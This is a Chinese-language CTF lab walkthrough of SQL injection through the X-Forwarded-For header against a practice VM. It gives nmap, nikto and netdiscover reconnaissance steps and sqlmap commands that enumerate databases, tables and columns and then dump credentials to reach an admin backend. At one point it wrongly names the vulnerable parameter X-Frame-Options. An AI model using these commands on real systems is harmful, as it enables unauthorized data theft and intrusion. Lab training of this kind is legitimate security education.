ctf训练 web安全SQL注入(X-Forwarded-For)
SQL注入漏洞介绍
SQL注入攻击指用用户构建特殊的输入作为参数传入Web应用程序,通过执行sQ语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
任何一个用户可以输入的位置都可能是注入点。比如url中,以及http报文中;
实验环境
一台kail攻击机 和 靶机
靶机镜像:https://pan.baidu.com/s/1juB-vkfP9C7RHEM5T4ffAA
提取码:dquy
安装打开靶机(使用Oracle VM VirtualBox打开):
(注意
:靶机用桥接模式则攻击机也用桥接模式,注意检查!!!!)
接下来发现没法登陆,也没有办法获取ip地址
所以我们在kail下
进入控制台
使用netdiscover命令 netdiscover -r ip/子网掩码 命令来探测靶机,靶机ip为192.168.43.181
本机ip为192.168.43.96
信息探测
扫描主机服务信息以及服务版本
– nmap -sV靶场IP地址
快速扫描主机全部信息
– nmap -T4 -A -v靶场lP地址
探测敏感信息
– nikto -host http://靶场IP地址:端口
发现一个登录界面,于是尝试用浏览器打开
这个页面不存在弱口令,但是可能存在sql漏洞,接下来探测一下
漏洞扫描
漏洞扫描器OWASP ZAP
功能强大,专注于web安全的漏洞扫描器
这里发现具有sql注入漏洞,漏洞为X-Frame-Options参数
漏洞利用
针对web进行漏洞扫描
对扫描的结果进行分析。注意:如果具有sQL注入漏洞,可以直接利用。毕竟sQL注入是高危漏洞,可以直接获取服务器权限。
使用sqlmap利用SQL注入漏洞
– sqlmap -u url -headers=“X-Forwarded-For:* ” -dbs --batch 查看数据库名
这里是一个一个字节的爆的,所以有一点点慢,耐心等待
– sqlmap -u url -headers=“X-Forwarded-For:* ” -D “数据库名”-tables 查看对应数据库中的数据表
这里爆表名也是一个一个的爆,耐心等待!!!
–batch-- sqlmap -u url -headers=“X-Forwarded-For:* ” -D “数据库名” -T “表名” columns 查看对应字段 --batch
– sqlmap -u url -headers=“X-Forwarded-For:*” -D “数据库名” -T “表名” -C “列名” -dump --batch
使用获取到的用户名和密码去登录
然后这里就成功进入后台了,也可能进行上传shell一类的操作(之前的文章有提到如何上传shell)